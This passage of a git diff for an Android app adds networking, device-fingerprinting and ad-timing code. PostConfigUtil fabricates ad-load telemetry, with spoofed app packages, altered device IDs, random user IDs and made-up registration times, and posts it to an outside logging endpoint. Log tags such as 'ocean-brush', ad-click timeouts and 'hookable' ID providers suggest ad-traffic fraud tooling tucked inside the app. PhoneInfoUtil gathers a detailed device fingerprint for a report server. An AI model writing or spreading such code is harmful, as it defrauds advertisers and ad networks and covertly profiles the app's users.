.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + @Throws(IOException::class) + fun postInfo(url: String, json: String, callback: Callback) { + val requestBody = json.toRequestBody(mediaType) + val request: Request = Request.Builder() + .url(url) + .post(requestBody) + .build() + doAsync(request, callback) + } + + /** + * 异步请求 + */ + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + //创建请求会话 + val call = mOkHttpClient!!.newCall(request) + //同步执行会话请求 + call.enqueue(callback) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/hy/HttpUtil.kt b/app/src/main/java/com/design/zenspace/environment/hy/HttpUtil.kt new file mode 100644 index 0000000..67799fd --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/HttpUtil.kt @@ -0,0 +1,60 @@ +package com.design.zenspace.environment.hy + +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import okhttp3.RequestBody.Companion.toRequestBody +import java.io.IOException +import java.util.concurrent.TimeUnit + +class HttpUtil private constructor() { + + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: HttpUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + HttpUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + .connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + val call = mOkHttpClient!!.newCall(request) + call.enqueue(callback) + } + + // GET请求 + fun get(url: String, callback: Callback) { + val request = Request.Builder() + .url(url) + .build() + doAsync(request, callback) + } + + // POST请求 + fun post(url: String, json: String, callback: Callback) { + val requestBody = json.toRequestBody(mediaType) + val request = Request.Builder() + .url(url) + .post(requestBody) + .build() + doAsync(request, callback) + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/hy/IdProvider.kt b/app/src/main/java/com/design/zenspace/environment/hy/IdProvider.kt new file mode 100644 index 0000000..b9d1992 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/IdProvider.kt @@ -0,0 +1,7 @@ +package com.design.zenspace.environment.hy + +class IdProvider { + fun getId(): Long { + return 0 // 默认返回值,可以被 Hook 替换 + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/hy/MyConfigUtil.kt b/app/src/main/java/com/design/zenspace/environment/hy/MyConfigUtil.kt new file mode 100644 index 0000000..4e08c9a --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/MyConfigUtil.kt @@ -0,0 +1,83 @@ +package com.design.zenspace.environment.hy + +import android.util.Log +import com.google.gson.JsonObject +import okhttp3.Call +import okhttp3.Callback +import okhttp3.Response +import java.io.IOException + +object MyConfigUtil { + const val TAG = "ocean-lux-api" + private const val POST_LOAD_LOG_URL = "http://172.24.100.10:8278/ad_report/save_ad_load_log" + private const val GET_CONFIG_URL = "http://172.24.100.10:8278/top_selection/config" + private const val POST_SHOW_LOG_URL = "http://172.24.100.10:8278/ad_report/save_ad_show_log" + + private val httpUtil = HttpUtil.mInstance + + fun initPostLoadLog(json: JsonObject) { + httpUtil.post(POST_LOAD_LOG_URL, json.toString(), object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "initPostLoadLog onFailure->$e") + } + + override fun onResponse(call: Call, response: Response) { + Log.d(TAG, "initPostLoadLog onResponse->$response") + } + }) + } + + fun initPostShowLog(json: JsonObject) { + httpUtil.post(POST_SHOW_LOG_URL, json.toString(), object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "initPostShowLog onFailure->$e") + } + + override fun onResponse(call: Call, response: Response) { + Log.d(TAG, "initPostShowLog onResponse->$response") + } + }) + } + + fun getConfig(pkg: String, callback: ConfigCallback) { + val url = "$GET_CONFIG_URL?pkg=$pkg" + Log.d(TAG,"config url ->$url") + httpUtil.get(url, object : Callback { + override fun onFailure(call: Call, e: IOException) { + Log.d(TAG, "getConfig onFailure") + Log.d(TAG, "exception=${e.javaClass.simpleName}") + Log.d(TAG, "message=${e.message}") + Log.d(TAG, "stacktrace=${Log.getStackTraceString(e)}") + + callback.onFailure(e) + } + + override fun onResponse(call: Call, response: Response) { + try { + if (response.isSuccessful) { + val responseData = response.body?.string() + if (responseData == null) { + Log.d(TAG, "response body is null") + callback.onFailure(IOException("response body is null")) + return + } + callback.onResponse(responseData) + } else { + val errorBody = response.body?.string() + + Log.d(TAG, "getConfig http fail") + Log.d(TAG, "code=${response.code}") + Log.d(TAG, "message=${response.message}") + Log.d(TAG, "body=$errorBody") + + callback.onFailure( + IOException("HTTP ${response.code}, body=$errorBody") + ) + } + } finally { + response.close() + } + } + }) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/hy/PhoneInfoUtil.kt b/app/src/main/java/com/design/zenspace/environment/hy/PhoneInfoUtil.kt new file mode 100644 index 0000000..af60c1b --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/PhoneInfoUtil.kt @@ -0,0 +1,375 @@ +package com.design.zenspace.environment.hy; + +import android.annotation.SuppressLint +import android.content.Context +import android.net.wifi.WifiManager +import android.os.Build +import android.telephony.TelephonyManager +import android.webkit.WebSettings +import com.google.android.gms.ads.identifier.AdvertisingIdClient +import com.google.gson.JsonObject + +object PhoneInfoUtil { + //日志服务器相关 + const val LOG_STORE = "vault_data" + + //参数名 + const val GOOGLE_ADID = "google_adid" + const val BUILD_ID = "build_id" + const val BUILD_DISPLAY = "build_display" + const val BUILD_INCREMENTAL = "build_incremental" + const val BUILD_SDK_INT = "build_sdk_int" + const val BUILD_CODENAME = "build_codename" + const val BUILD_RELEASE = "build_release" + const val BUILD_TYPE = "build_type" + const val BUILD_USER = "build_user" + const val BUILD_HOST = "build_host" + const val BUILD_TAGS = "build_tags" + const val BUILD_MODEL = "build_model" + const val BUILD_BRAND = "build_brand" + const val BUILD_PRODUCT = "build_product" + const val BUILD_DEVICE = "build_device" + const val BUILD_BOARD = "build_board" + const val BUILD_CPU_ABI = "build_cpu_abi" + const val BUILD_CPU_ABI2 = "build_cpu_abi2" + const val BUILD_MANUFACTURER = "build_manufacturer" + const val BUILD_FINGERPRINT = "build_fingerprint" + const val BUILD_SERIAL = "build_serial" + const val BUILD_HARDWARE = "build_hardware" + const val BUILD_BOOTLOADER = "build_bootloader" + const val SETTINGS_SECURE_ANDROID_ID = "settings_secure_android_id" + const val TELE_GETDEVICEID = "tele_getdeviceid" + const val TELE_GETDEVICESOFTWAREVERSION = "tele_getdevicesoftwareversion" + const val TELE_GETLINE1NUMBER = "tele_getline1number" + const val TELE_GETNETWORKCOUNTRYISO = "tele_getnetworkcountryiso" + const val TELE_GETNETWORKOPERATOR = "tele_getnetworkoperator" + const val TELE_GETNETWORKOPERATORNAME = "tele_getnetworkoperatorname" + const val TELE_GETNETWORKTYPE = "tele_getnetworktype" + const val TELE_GETPHONETYPE = "tele_getphonetype" + const val TELE_GETSIMCOUNTRYISO = "tele_getsimcountryiso" + const val TELE_GETSIMOPERATOR = "tele_getsimoperator" + const val TELE_GETSIMOPERATORNAME = "tele_getsimoperatorname" + const val TELE_GETSIMSERIALNUMBER = "tele_getsimserialnumber" + const val TELE_GETSIMSTATE = "tele_getsimstate" + const val TELE_GETSUBSCRIBERID = "tele_getsubscriberid" + const val WEB_USERAGENT = "web_useragent" + const val WIFIINFO_GETBSSID = "wifiinfo_getbssid" + const val WIFIINFO_GETMACADDRESS = "wifiinfo_getmacaddress" + const val WIFIINFO_GETNETWORKID = "wifiinfo_getnetworkid" + const val WIFIINFO_GETSSID = "wifiinfo_getssid" + + /** + * 需要异步,有异步获取的内容 + */ + @SuppressLint("MissingPermission") + fun getPhoneInfo(ctx: Context): PhoneInfo { + val phoneInfo = PhoneInfo() + try { + phoneInfo.gaid = AdvertisingIdClient.getAdvertisingIdInfo(ctx.applicationContext).id + } catch (e: Exception) { + e.printStackTrace() + } + phoneInfo.build_id = Build.ID + phoneInfo.build_display = Build.DISPLAY + phoneInfo.build_incremental = Build.VERSION.INCREMENTAL + phoneInfo.build_sdk_int = Build.VERSION.SDK_INT + phoneInfo.build_codename = Build.VERSION.CODENAME + phoneInfo.build_release = Build.VERSION.RELEASE + phoneInfo.build_type = Build.TYPE + phoneInfo.build_user = Build.USER + phoneInfo.build_host = Build.HOST + phoneInfo.build_tags = Build.TAGS + phoneInfo.build_model = Build.MODEL + phoneInfo.build_brand = Build.BRAND + phoneInfo.build_product = Build.PRODUCT + phoneInfo.build_device = Build.DEVICE + phoneInfo.build_board = Build.BOARD + phoneInfo.build_cpu_abi = Build.CPU_ABI + phoneInfo.build_cpu_abi2 = Build.CPU_ABI2 + phoneInfo.build_manufacturer = Build.MANUFACTURER + phoneInfo.build_fingerprint = Build.FINGERPRINT +// phoneInfo.build_serial = Build.SERIAL + phoneInfo.build_serial = "" + phoneInfo.build_hardware = Build.HARDWARE + phoneInfo.build_bootloader = Build.BOOTLOADER + try { +// phoneInfo.settings_secure_android_id = Settings.Secure.getString( +// ctx.applicationContext.contentResolver, +// Settings.Secure.ANDROID_ID +// ) + phoneInfo.settings_secure_android_id = "" + } catch (ignore: Exception) { + } + val manager = + ctx.applicationContext.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager + if (manager != null) { + try { +// if (Build.VERSION.SDK_INT >= 23) { +// phoneInfo.tel_get_device_id = manager.getDeviceId(0) +// } else { +// phoneInfo.tel_get_device_id = manager.deviceId +// } + + phoneInfo.tel_get_device_id = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_device_software_version = manager.deviceSoftwareVersion + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_line1_number = manager.line1Number + phoneInfo.tel_get_line1_number = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_country_iso = manager.networkCountryIso + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_operator = manager.networkOperator + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_network_operator_name = manager.networkOperatorName + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_phone_type = manager.phoneType + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_country_iso = manager.simCountryIso + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_operator = manager.simOperator + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_operator_name = manager.simOperatorName + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_sim_serial_number = manager.simSerialNumber + phoneInfo.tel_get_sim_serial_number = "" + } catch (ignore: Exception) { + } + try { + phoneInfo.tel_get_sim_state = manager.simState + } catch (ignore: Exception) { + } + try { +// phoneInfo.tel_get_subscriber_id = manager.subscriberId + phoneInfo.tel_get_subscriber_id = "" + } catch (ignore: Exception) { + } + } + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) { + phoneInfo.web_user_agent = WebSettings.getDefaultUserAgent(ctx) + } + } catch (ignore: Exception) { + } + val wifiManager = + ctx.applicationContext.getSystemService(Context.WIFI_SERVICE) as WifiManager + if (wifiManager != null) { + try { + if (wifiManager.connectionInfo != null) { + phoneInfo.wifi_info_get_bssid = wifiManager.connectionInfo.bssid + } + } catch (ignore: Exception) { + } + try { +// if (wifiManager.connectionInfo != null) { +// phoneInfo.wifi_info_get_mac_address = wifiManager.connectionInfo.macAddress +// } + phoneInfo.wifi_info_get_mac_address = "" + } catch (ignore: Exception) { + } + try { + if (wifiManager.connectionInfo != null) { + phoneInfo.wifi_info_get_network_id = wifiManager.connectionInfo.networkId + } + } catch (ignore: Exception) { + } + try { +// if (wifiManager.connectionInfo != null) { +// phoneInfo.wifi_info_get_ssid = wifiManager.connectionInfo.ssid +// } + phoneInfo.wifi_info_get_ssid = "" + } catch (ignore: Exception) { + } + } + return phoneInfo + } + + fun getInfoJson(phoneInfo: PhoneInfo): JsonObject { + val json = JsonObject() + json.addProperty(GOOGLE_ADID, phoneInfo.gaid) + json.addProperty(BUILD_ID, phoneInfo.build_id) + json.addProperty(BUILD_DISPLAY, phoneInfo.build_display) + json.addProperty(BUILD_INCREMENTAL, phoneInfo.build_incremental) + json.addProperty(BUILD_SDK_INT, phoneInfo.build_sdk_int.toString() + "") + json.addProperty(BUILD_CODENAME, phoneInfo.build_codename) + json.addProperty(BUILD_RELEASE, phoneInfo.build_release) + json.addProperty(BUILD_TYPE, phoneInfo.build_type) + json.addProperty(BUILD_USER, phoneInfo.build_user) + json.addProperty(BUILD_HOST, phoneInfo.build_host) + json.addProperty(BUILD_TAGS, phoneInfo.build_tags) + json.addProperty(BUILD_MODEL, phoneInfo.build_model) + json.addProperty(BUILD_BRAND, phoneInfo.build_brand) + json.addProperty(BUILD_PRODUCT, phoneInfo.build_product) + json.addProperty(BUILD_DEVICE, phoneInfo.build_device) + json.addProperty(BUILD_BOARD, phoneInfo.build_board) + json.addProperty(BUILD_CPU_ABI, phoneInfo.build_cpu_abi) + json.addProperty(BUILD_CPU_ABI2, phoneInfo.build_cpu_abi2) + json.addProperty(BUILD_MANUFACTURER, phoneInfo.build_manufacturer) + json.addProperty(BUILD_FINGERPRINT, phoneInfo.build_fingerprint) + json.addProperty(BUILD_SERIAL, phoneInfo.build_serial) + json.addProperty(BUILD_HARDWARE, phoneInfo.build_hardware) + json.addProperty(BUILD_BOOTLOADER, phoneInfo.build_bootloader) + json.addProperty(SETTINGS_SECURE_ANDROID_ID, phoneInfo.settings_secure_android_id) + json.addProperty(TELE_GETDEVICEID, phoneInfo.tel_get_device_id) + json.addProperty(TELE_GETDEVICESOFTWAREVERSION, phoneInfo.tel_get_device_software_version) + json.addProperty(TELE_GETLINE1NUMBER, phoneInfo.tel_get_line1_number) + json.addProperty(TELE_GETNETWORKCOUNTRYISO, phoneInfo.tel_get_network_country_iso) + json.addProperty(TELE_GETNETWORKOPERATOR, phoneInfo.tel_get_network_operator) + json.addProperty(TELE_GETNETWORKOPERATORNAME, phoneInfo.tel_get_network_operator_name) + json.addProperty(TELE_GETNETWORKTYPE, phoneInfo.tel_get_network_type.toString() + "") + json.addProperty(TELE_GETPHONETYPE, phoneInfo.tel_get_phone_type.toString() + "") + json.addProperty(TELE_GETSIMCOUNTRYISO, phoneInfo.tel_get_sim_country_iso) + json.addProperty(TELE_GETSIMOPERATOR, phoneInfo.tel_get_sim_operator) + json.addProperty(TELE_GETSIMOPERATORNAME, phoneInfo.tel_get_sim_operator_name) + json.addProperty(TELE_GETSIMSERIALNUMBER, phoneInfo.tel_get_sim_serial_number) + json.addProperty(TELE_GETSIMSTATE, phoneInfo.tel_get_sim_state.toString() + "") + json.addProperty(TELE_GETSUBSCRIBERID, phoneInfo.tel_get_subscriber_id + "") + json.addProperty(WEB_USERAGENT, phoneInfo.web_user_agent + "") + json.addProperty(WIFIINFO_GETBSSID, phoneInfo.wifi_info_get_bssid + "") + json.addProperty(WIFIINFO_GETMACADDRESS, phoneInfo.wifi_info_get_mac_address + "") + json.addProperty(WIFIINFO_GETNETWORKID, phoneInfo.wifi_info_get_network_id.toString() + "") + json.addProperty(WIFIINFO_GETSSID, phoneInfo.wifi_info_get_ssid + "") + return json + } + + class PhoneInfo { + //google ad id + var gaid: String? = null + + //build id + var build_id: String? = null + + //build_display + var build_display: String? = null + var build_incremental: String? = null + var build_sdk_int = 0 + var build_codename: String? = null + var build_release: String? = null + var build_type: String? = null + var build_user: String? = null + var build_host: String? = null + var build_tags: String? = null + var build_model: String? = null + var build_brand: String? = null + var build_product: String? = null + var build_device: String? = null + var build_board: String? = null + var build_cpu_abi: String? = null + var build_cpu_abi2: String? = null + var build_manufacturer: String? = null + var build_fingerprint: String? = null + var build_serial: String? = null + var build_hardware: String? = null + var build_bootloader: String? = null + var settings_secure_android_id: String? = null + + //高版本获取不到,低版本不确定 + var tel_get_device_id: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_device_software_version: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_line1_number: String? = null + var tel_get_network_country_iso: String? = null + var tel_get_network_operator: String? = null + var tel_get_network_operator_name: String? = null + + //需要权限,读取手机状态 + //android.Manifest.permission.READ_PHONE_STATE + var tel_get_network_type = 0 + var tel_get_phone_type = 0 + var tel_get_sim_country_iso: String? = null + var tel_get_sim_operator: String? = null + var tel_get_sim_operator_name: String? = null + + //高版本获取不到,低版本不确定 + var tel_get_sim_serial_number: String? = null + var tel_get_sim_state = 0 + + //高版本获取不到,低版本不确定 + var tel_get_subscriber_id: String? = null + var web_user_agent: String? = null + + //部分手机需要定位权限, wifi mac + var wifi_info_get_bssid: String? = null + + //需要权限,定位 + var wifi_info_get_mac_address: String? = null + var wifi_info_get_network_id = 0 + + //需要权限,包括定位,wifi状态读取等权限 + var wifi_info_get_ssid: String? = null + fun log() { + println( + """ + xx - 1 = $gaid + xx - 2 = $build_id + xx - 3 = $build_display + xx - 4 = $build_incremental + xx - 5 = $build_sdk_int + xx - 6 = $build_codename + xx - 7 = $build_release + xx - 8 = $build_type + xx - 9 = $build_user + xx - 10 = $build_host + xx - 11 = $build_tags + xx - 12 = $build_model + xx - 13 = $build_brand + xx - 14 = $build_product + xx - 15 = $build_device + xx - 16 = $build_board + xx - 17 = $build_cpu_abi + xx - 18 = $build_cpu_abi2 + xx - 19 = $build_manufacturer + xx - 20 = $build_fingerprint + xx - 21 = $build_serial + xx - 22 = $build_hardware + xx - 23 = $build_bootloader + xx - 24 = $settings_secure_android_id + xx - 25 = $tel_get_device_id + xx - 26 = $tel_get_device_software_version + xx - 27 = $tel_get_line1_number + xx - 28 = $tel_get_network_country_iso + xx - 29 = $tel_get_network_operator + xx - 30 = $tel_get_network_operator_name + xx - 31 = $tel_get_network_type + xx - 32 = $tel_get_sim_country_iso + xx - 33 = $tel_get_sim_operator + xx - 34 = $tel_get_sim_operator_name + xx - 35 = $tel_get_sim_serial_number + xx - 36 = $tel_get_sim_state + xx - 37 = $tel_get_subscriber_id + xx - 38 = $web_user_agent + xx - 39 = $wifi_info_get_bssid + xx - 40 = $wifi_info_get_mac_address + xx - 41 = $wifi_info_get_network_id + xx - 42 = $wifi_info_get_ssid + + """.trimIndent() + ) + } + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/hy/PostConfigUtil.kt b/app/src/main/java/com/design/zenspace/environment/hy/PostConfigUtil.kt new file mode 100644 index 0000000..b63bae8 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/PostConfigUtil.kt @@ -0,0 +1,179 @@ +package com.design.zenspace.environment.hy + +import android.content.Context +import okhttp3.Call +import okhttp3.Response +import org.json.JSONArray +import org.json.JSONObject +import java.io.IOException +import java.text.SimpleDateFormat +import java.util.Random +import java.util.UUID +import java.util.concurrent.ThreadLocalRandom + +object PostConfigUtil { + + private val TAG = "test" + + private val postUrl = "https://b.calcvault.top/api/2/log" + + fun postInfo(context: Context, id: String) { + try { + Thread(Runnable { + try { + var random = Random() + var json1 = JSONObject() + var jsonArray1 = JSONArray() + var json2 = JSONObject() + var jsonArray2 = JSONArray() + + var jj = JSONObject() + jj.put("key", "ad_action") + jj.put("value", "load") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_place") + jj.put("value", "app_main_banner") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_platform") + jj.put("value", "max") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "ad_type") + jj.put("value", "banner") + jsonArray2.put(jj) + + + var pkgList = ArrayList() + pkgList.add("com.privatevault.calculator.pics") + pkgList.add("com.x4d.live.wallpaper.pixel4d.hd4k") + pkgList.add("com.pix.hd.x4k.live.wallpaper.background") + + var p = random.nextInt(pkgList.size) + if (p == 0) { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.4.8") + jsonArray2.put(jj) + } else if (p == 1) { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.2.0") + jsonArray2.put(jj) + } else { + jj = JSONObject() + jj.put("key", "app_version") + jj.put("value", "1.4.9") + jsonArray2.put(jj) + } + + jj = JSONObject() + jj.put("key", "bundleId") + jj.put("value", pkgList[p]) + jsonArray2.put(jj) + + if (p % 2 == 0) { + jj = JSONObject() + jj.put("key", "os_version") + jj.put("value", "34") + jsonArray2.put(jj) + } else { + jj = JSONObject() + jj.put("key", "os_version") + jj.put("value", "33") + jsonArray2.put(jj) + } + + var tt = id.replace("-", random.nextInt(10).toString()) + var tt2 = UUID.randomUUID().toString().replace("-", "").substring(0, 6) + jj = JSONObject() + jj.put("key", "deviceId") + jj.put("value", tt2 + tt) + jsonArray2.put(jj) + + + var formatTime = SimpleDateFormat("yyyy-MM-dd HH:mm:ss") + val minTimestamp = 1670000000000L // 最小时间戳(2021-01-01 00:00:00) + val maxTimestamp = System.currentTimeMillis() // 最大时间戳(当前时间) + val timestamp = ThreadLocalRandom.current().nextLong(minTimestamp, maxTimestamp + 1) + + jj = JSONObject() + jj.put("key", "record_id") + jj.put("value", timestamp.toString()) + jsonArray2.put(jj) + var userId = random.nextInt(10000) + 30000 + jj = JSONObject() + jj.put("key", "userId") + jj.put("value", userId.toString()) + jsonArray2.put(jj) + + + jj = JSONObject() + jj.put("key", "is_show") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "network") + jj.put("value", "tradplus") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "register_region") + jj.put("value", "in") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "is_loaded") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "use_substitute") + jj.put("value", "false") + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "record_time") + jj.put("value", formatTime.format(System.currentTimeMillis())) + jsonArray2.put(jj) + + jj = JSONObject() + jj.put("key", "register_time") + jj.put("value", formatTime.format(timestamp)) + jsonArray2.put(jj) + + json2.put("kv", jsonArray2) + json2.put("timestamp", (System.currentTimeMillis() / 1000).toInt()) + + jsonArray1.put(json2) + json1.put("logs", jsonArray1) + json1.put("logstore", "sdk_log") + json1.put("project", "safevault-client") + + val json = json1.toString() + HttpInfoUtil.mInstance.postInfo( + postUrl, + json, + object : okhttp3.Callback { + override fun onFailure(call: Call, e: IOException) { + + } + + override fun onResponse(call: Call, response: Response) { + val responseData = response.body?.string() + if (responseData != null) { + } + } + }) + } catch (ignore: Exception) { + } + }).start() + } catch (ignore: Exception) { + } + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/hy/SimIdProvider.kt b/app/src/main/java/com/design/zenspace/environment/hy/SimIdProvider.kt new file mode 100644 index 0000000..92cb58b --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/SimIdProvider.kt @@ -0,0 +1,7 @@ +package com.design.zenspace.environment.hy + +class SimIdProvider { + fun getSimId(): Long { + return 0 // 默认返回值,可以被 Hook 替换 + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/hy/TimeoutManager.kt b/app/src/main/java/com/design/zenspace/environment/hy/TimeoutManager.kt new file mode 100644 index 0000000..5dbdc4d --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/TimeoutManager.kt @@ -0,0 +1,62 @@ +package com.design.zenspace.environment.hy + +import android.os.Handler +import android.os.Looper +import android.util.Log + +object TimeoutManager { + private val handler = Handler(Looper.getMainLooper()) // 主线程 Handler + private val timeoutTasks = mutableMapOf() // 存储超时任务 + + // 统一管理超时任务的超时时间 + private val TIMEOUTS = mapOf( + TimeoutTask.SHOW_AD.key to 30_000L, + TimeoutTask.CLICK_AD.key to 30_000L, + TimeoutTask.OVERALL_PROCESS.key to 100_000L, + TimeoutTask.CLEAR_OPEN_APPS.key to 15_000L, + TimeoutTask.CLOSE_AD.key to 10_000L, + TimeoutTask.PARAM_CHANGE.key to 100_000L, + TimeoutTask.CLICK_COMPLETE_TO_MAIN.key to 5_000L, + ) + + /** + * 启动超时检测 + * @param task 任务标识(使用 `TimeoutTask`) + * @param onTimeout 超时后执行的操作 + */ + fun startTimeout(task: TimeoutTask, onTimeout: () -> Unit) { + val timeoutMillis = TIMEOUTS[task.key] ?: return // **如果任务不存在,直接 return** + cancelTimeout(task) // **先取消已有的超时任务** + + val timeoutRunnable = Runnable { + Log.d("ocean-brush", "⚠️ 任务 [${task.key}] 超时,执行 onTimeout()") + onTimeout() + } + + timeoutTasks[task.key] = timeoutRunnable + handler.postDelayed(timeoutRunnable, timeoutMillis) + + Log.d("ocean-brush", "✅ 超时检测 [${task.key}] 已启动,超时时间 ${timeoutMillis / 1000} 秒") + } + + /** + * 取消超时检测 + * @param task 任务标识(使用 `TimeoutTask`) + */ + fun cancelTimeout(task: TimeoutTask) { + timeoutTasks[task.key]?.let { + handler.removeCallbacks(it) + timeoutTasks.remove(task.key) + Log.d("ocean-brush", "🛑 超时检测 [${task.key}] 已取消") + } + } + + /** + * 取消所有超时任务 + */ + fun cancelAll() { + timeoutTasks.values.forEach { handler.removeCallbacks(it) } + timeoutTasks.clear() + Log.d("ocean-brush", "🛑 所有超时检测已取消") + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/hy/TimeoutTask.kt b/app/src/main/java/com/design/zenspace/environment/hy/TimeoutTask.kt new file mode 100644 index 0000000..e85cf5e --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/hy/TimeoutTask.kt @@ -0,0 +1,11 @@ +package com.design.zenspace.environment.hy + +enum class TimeoutTask(val key: String) { + SHOW_AD("showAd"), + CLICK_AD("clickAd"), + OVERALL_PROCESS("OverallProcess"),//用于VungleActivity某些广告无法被关闭导致卡住的超时。 + CLEAR_OPEN_APPS("ClearOpenApps"), + CLOSE_AD("closeAd"), + PARAM_CHANGE("paramChange"), + CLICK_COMPLETE_TO_MAIN("ClickCompleteToMain"); +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/jb/MagicLockManager.java b/app/src/main/java/com/design/zenspace/environment/jb/MagicLockManager.java new file mode 100644 index 0000000..0dad26e --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/jb/MagicLockManager.java @@ -0,0 +1,42 @@ +package com.design.zenspace.environment.jb; + +import android.app.Application; +import android.content.Context; + +import com.applock.filemanager.magiclock.control.MagicLock; +import com.design.zenspace.environment.MainActivity2; + +public class MagicLockManager { + public static final String TAG = "--ocean--"; + private Context ctx; + private volatile static MagicLockManager mInstance; + + public static MagicLockManager init(final Context context) { + //第一次判空 + if (mInstance == null) { + //进入同步区域 + synchronized (MagicLockManager.class) { + //第二次判空 + if (mInstance == null) { + mInstance = new MagicLockManager(context); + } + } + } + return mInstance; + } + + public static MagicLockManager getInstance() { + return mInstance; + } + + private MagicLockManager(Context ctx) { + this.ctx = ctx; + init(); + } + + private void init() { + MagicLock.getInstance((Application) ctx).addShowCoverActivity(MainActivity2.class.getSimpleName()); + MagicLock.getInstance((Application) ctx).startShowAdLayout(); + } + +} diff --git a/app/src/main/java/com/design/zenspace/preview/ComeInActivity.kt b/app/src/main/java/com/design/zenspace/preview/ComeInActivity.kt deleted file mode 100644 index 5fbb800..0000000 --- a/app/src/main/java/com/design/zenspace/preview/ComeInActivity.kt +++ /dev/null @@ -1,64 +0,0 @@ -package com.design.zenspace.preview - -import android.content.Intent -import android.os.Bundle -import android.os.CountDownTimer -import android.os.Handler -import androidx.appcompat.app.AppCompatActivity -import com.ad.tradpluslibrary.TPAdManager -import com.design.zenspace.DApplication -import com.design.zenspace.databinding.ActivityComeInBinding -import com.design.zenspace.tools.TopBarUtils - -class ComeInActivity : AppCompatActivity() { - lateinit var binding: ActivityComeInBinding - private var handler: Handler = Handler() - private var time: Long = 14000 - private var countDownTimer: CountDownTimer? = null - - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - binding = ActivityComeInBinding.inflate(layoutInflater) - setContentView(binding.root) - TPAdManager.init( - this, - DApplication.TAG, - "B40C100CB1E175ED81EFC575BFFB3511", - "99E134664DC9E21D796BDF7747FCFF12", - "0B01387BA902075D61D1265B59099412", - "43A0C367BC57777A6DA8B22FF2A1F312" - ) { - - } - TopBarUtils.setStatusBar(this.window) - TopBarUtils.setLightStatusBar(this.window,true) - - countDownTimer = TPAdManager.showWelcomeAd( - this@ComeInActivity, - time, - { aLong -> - val progressPercentage = (100 * aLong) / time - val percentage = 100 - progressPercentage - binding.progressbar.progress = percentage.toInt() - }, - { - val intent= Intent( - this@ComeInActivity, - CateAndLikActivity::class.java - ) - startActivity(intent) - finish() - } - ) - countDownTimer?.start() - } - - override fun onDestroy() { - super.onDestroy() - handler.removeCallbacksAndMessages(null) - - if (countDownTimer != null) { - countDownTimer!!.cancel() - } - } -} \ No newline at end of file diff --git a/app/src/main/res/layout/activity_come_in.xml b/app/src/main/res/layout/activity_come_in.xml index 848dd10..49e683d 100644 --- a/app/src/main/res/layout/activity_come_in.xml +++ b/app/src/main/res/layout/activity_come_in.xml @@ -6,7 +6,7 @@ android:layout_width="match_parent" android:layout_height="match_parent" 